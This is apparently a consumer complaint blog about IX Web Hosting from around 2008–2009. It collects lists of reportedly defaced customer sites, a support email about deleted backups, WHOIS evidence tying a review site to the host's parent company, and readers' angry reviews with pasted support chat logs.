5. http://imprecator.net/
6. http://www.capetowntips.com/
7. http://countrydataservices.com/ 
8. http://releasespy.com/forum/viewforum.php?f=13
9. http://nickersonpianostudio.com/ 
10. http://strangeauction.com/
11. http://temp.simplyenticing.com/
12. http://vavize.com/
13. http://utilizesports.com/
14. http://www.commandoes.us/
15. http://www.neostudios.co.uk/lucypinder/
16. http://tommygallagherband.com/index.php?option=com_gigcal&Itemid=30
17. http://thatsmydiary.info/
18. http://greenlaser.cn/
19. http://www.elfankosh.com/admin.php
20. http://ircai.com/

IX webhosting Backups

Since I started this blog I have recieved way too many Emails from IX customers that are being blamed for IX web hosting’s incompetence, so far I have 1374 emails  from people that are furious at the way IX is treating them and their buisness. In the past week I have recieved 41 emails from customers that have completely lost their website(s) Not due to any injected scripts or iFrame hacks, but because IX webhosting has deleted them, and do not have any backups..

An example recieved today.  

Dear Larry Sypher,
I am very sorry for this recent inconvenience, please accept my sincere apologies. Our admins have verified that all relevant backups have been rotated already. Unfortunately all backups which are older than a week are being deleted from the server on a regular basis because we cannot afford to store too old backups due to the many system restrictions of the shared hosting environment. It is much recommended to create local backup copies. I regret.
Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko

So what they are saying, is that if anything was to happen to your site, you have LESS than a week to discover it, and have it backed up, otherwise, a new backup will be made, and this time it will be the “INFECTED”  site, and you have just lost your site!!.. ONE WEEK!!?? …. It takes IX 4 days to reply to a support ticket!!

This evening  01-01-2009 I checked to see what support has to say about backups..

 

 

So, they are telling me they have a choice of 4 Backups, over a 2 week periode

Well, we all know IX webhosting are a bunch of liars, this is just another example of how they they promise you things, but cannot deliver

IX Web hosting Reviews Oct. + Nov.

KB, 30th 2008f November, 2008

I’m having the same issues… files that were owned by my account became owned by httpd and all had virus injected into them. I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time). Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren’t even working. Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply.

empusa, 21st 2008f November, 2008

When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for ‘further information’. They claim to be in the USA, but every reply is from an Eastern European name. Their so called ‘live support’ is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket. My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755. You get what you pay for. I’ve just moved to A2hosting. I’ll have to pay twice as much but the service is infinitely better.

Yunus Member, 19th 2008f November, 2008

Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars

de P, 14th 2008f November, 2008

Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others “Wells Fargo” and Washington Mutual”. I am not going to advise anyone if they should or should not use IX webhosting, just google “IX webhosting Hacked” and make up your own mind. There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected.

Christos , 12th 2008f November, 2008

I regret the time I signed with Ixwebhosting. The site is on a regular basis down… and most of the times the initial contact is VERY VERY slow… and you receive connection interruptions all the time….. I am looking for another provider ASAP. What a waste of time and money

sony, 01st 2008f November, 2008

They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact …. The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting.

Bob, 28th 2008f October, 2008

Wow – wish I’d read this first. I signed up and was soooo excited by their unlimited everything and their “DotNetNuke Expertise”. Wrong. They have no tools for DNN (can’t backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN — actually worse, some seem to know it exists and others don’t. The biggest reason to avoid them is I had an open ‘ticket’ for over 12 hours. I’ve read where people say to use ‘chat’ and they’re right — you get a quick response from someone (some person who I’m sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other “wanna buy a vowel” name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life — the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away.

David, 23rd 2008f October, 2008

I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB. The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me.

support, 21st 2008f October, 2008

try www.hostmysite.com

Shrink, 21st 2008f October, 2008

They re-activated my account. I am backing up files now. I’ve got one more strike. If I’m hacked again, I’m gone. I’m gone anyway. Looking for another host.

Shrink, 21st 2008f October, 2008

I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have!

Enrique Gutierrez, 21st 2008f October, 2008

HORRIBLE! I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn’t place, they proceeded to tell me that they can’t give me access to my files and data. They’re about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I’ve ever had to deal with in my 9 years of web dev.

IX web hosted sites Hacked and Defaced December 29th

1. http://abcnepal.com/phpBB2/ 
2. http://forums.adeptpcs.com/
3. http://www.defaceadd.org/tamekran-767.xml
4. http://mallusworld.com/
5. http://sw.rzep.net/
6. http://myxxonline.com/phpBB2/
7. http://happyzoo.com/phpBB2/admin/
8. http://yojils.com/forums/
9. http://dj-booth.co.uk/forum/
10. http://firstbaptist-nyc.org/phpBB2/
11. http://webaccess.ingenious.cc/phpBB2/
12. http://infrastructurematters.org/phpBB2/
13. http://everythingretek.com/phpBB2/viewtopic.php?p=1464
14. http://plus.rawfishrecords.com/phpBB2/
15. http://quellederjugend.arhaco.com/phpBB2/
16. http://mediawirx.net/phpBB2/
17. http://www.zavallis.com/
18. http://www.nassel.com/news/
19. http://www.joshstern.net/phpBB2/viewtopic.php?p=13422..13422
20. http://northharrowsnooker.co.uk/

IX Web Hosting Deceiving Liars !!

Here is just one example (more to follow) how IX Web Hosting cheats, lies and deceives customers.

If you follow this link :  http://www-thehostingchart.com/   No suprise IX  Web Hosting is listed as THE BEST, and damn, after reading the review I was almost tempted to purchase another account…

By now we all know that IX Web Hosting is without doubt the worst and most incompetant web host out there.
So which twat would vote them the BEST??…  The answer  to that is … THEMSELVES!!

Now follow this link http://www.betterwhois.com/bwhois.cgi?domain=thehostingchart.com&x=75&y=14 

and 3 guesses who owns thehostingchart.CON   ??

Domain name: THEHOSTINGCHART.COM

 Administrative Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836
Technical Contact:
    Said, Samir  info@thehostingchart.com
    8409 Pickwick Ln #101
    Dallas, TX 75225
    US
    +1.8663539836

 Registration Service Provider:
    Ecommerce, Inc., info@ecommerce.com
    1-800-861-9394
    http://www.ecommerce.com

And we all know that this knobber Samir Said is the CFO of Ecommerce Corporation. the parent company of IX WEB HOSTING.

OOOHHH, and three guesses who owns the # 2 spot “Host Excellence” as BEST Web Host at thehostingchart.CON   ??…  Yep you got it, Samir Said

This is the kind of DIRTY methods IX WEB HOSTING uses to lure customers

IX Web Hosting Reviews September 2008

bigboytoyauction.com, 20th 2008f September, 2008

Yes still with IX right now all of the mysql servers are down. And if they didn’t do back ups I am kind of screwed as my last back up is on a crashed HD, i can pull it but its a pain. Here is a transcript of the chat Kirill Skripka: Hello, my name is Kirill. How can I help you today? you: all of my sites are down again, www.ckonline.net , www.bigboytoyauction.com , and all of the others too. Kirill Skripka: hold on please, I’ll check Kirill Skripka: our Mysql server is down. Our administrators are fixing it now Kirill Skripka: it will be available again as fast as possible Kirill Skripka: we are sorry you: I dont want to be a pain but stuff like this is happening more often now you: any particular reason why you: Just saying that down time has increased since the move, never had an issue with down time until lately. I hope that the issues are resolved. you: obviously not going to get a response you: have a good day I will be calling IX on monday

Jason, 19th 2008f September, 2008

IXWebHosting were always cheap by shady, but recently their customer service has taken a terrible turn for the worse. They popped me with several TOS violations. The first was for using 30 GB of storage of their “unlimited” storage. They COMPLETELY LIE about their storage promise. The other was a supposed Spam complaint that one of their managers agreed was not a valid complaint, but they are still charging me with a SECOND TOS violation. They told me if I get a THIRD TOS violation they will terminate my account without notice, meaning I will loose all my email, etc. Talking to their support people is like talking to high school PE teachers from Siberia. It’s just completely pointless. AVOID IXWEBHOSTING at all costs!!! They have served their purpose, which is to drive the cost of hosting down, so now go with one of the better competitors. These guys are the worst! I moved to HostMonster who verified, in understandable, clear English, that I can use all 1.5 TB of their promised storage (I won’t use nearly that much, but it’s good to know).

Sam, 06th 2008f September, 2008

This hosting Company is very slow, so many problems stay away

elawcase@gmail.com, 03rd 2008f September, 2008

I am not sure why this website places Ixwebhosting rating so high when just about NO ONE is happy with them including myself. I have sent a few logs you can read below. These are real examples. Also their server is down quite often so anyone who can recommend a better hosting company that offers hosting unlimited domain names, pls let me know at elawcase@gmail.com

elawcase@gmail.com, 03rd 2008f September, 2008

Zeyad Abed: Sorry but from my side it’s ok you: well, i’ll keep monitoring it.. but thank you for your help you: if possible, if you can try to ask your tech people to monitor it… you: just a moment ago, the site didn’t come up Zeyad Abed: You are welocme Zeyad Abed: Is there anything else I can assist you with? you: that’s all, pls just ask the tech people to check the server.. it slowing down again you: oh it’s okay now you: it’s kind of unstable recently Zeyad Abed: Sorry it’s from your connection you: not my connection, third party monitors you: i always check third party connections/monitors to make sure it is not my connection you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue you: the server now is slowing Zeyad Abed: Sorry it’s ok you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that Zeyad Abed: Sorry im a technincal you: what do you mean? Zeyad Abed: I mean it’s ok from our side

elawcase@gmail.com, 03rd 2008f September, 2008

you: the server now is slowing Zeyad Abed: Sorry it’s ok you: well, i guess..thanks for your help.. if you can pls ask the tech people. but for some reason I dont think you will do that Zeyad Abed: Sorry im a technincal you: what do you mean? Zeyad Abed: I mean it’s ok from our side

elawcase, 03rd 2008f September, 2008

Here is an example of the conversation I had with ixwebshosting when the server was really slow and stalling: you: i need to check to make sure that the server is performing okay Zeyad Abed: Hold on please let me check it you: thanks Zeyad Abed: You are welcome you: just let me know here.. waiting.. Zeyad Abed: Ok you: get the logs yet? you: or you can also check alertra.com from your end… Zeyad Abed: Just am inute please you: ok Zeyad Abed: alertra.com. 124 IN A 205.162.234.98 Zeyad Abed: ;; Query time: 0 msec Zeyad Abed: flowers.com.hk. 85513 IN A 98.130.191.57 Zeyad Abed: ;; Query time: 0 msec you: the time varies i’m checking now again you: it’s not 0 msec Zeyad Abed: Sorry but from my side it’s ok you: well, i’ll keep monitoring it.. but thank you for your help you: if possible, if you can try to ask your tech people to monitor it… you: just a moment ago, the site didn’t come up Zeyad Abed: You are welocme Zeyad Abed: Is there anything else I can assist you with? you: that’s all, pls just ask the tech people to check the server.. it slowing down again you: oh it’s okay now you: it’s kind of unstable recently Zeyad Abed: Sorry it’s from your connection you: not my connection, third party monitors you: i always check third party connections/monitors to make sure it is not my connection you: if you can pls check alertra.com and check every few minutes.. you’ll see how much the server is varying in performance you: the worst thing a hosting company can do is blame the client’s connection or website .. it’ just avoids the issue you: the server now is slowing Zeyad Abed: Sorry it’s ok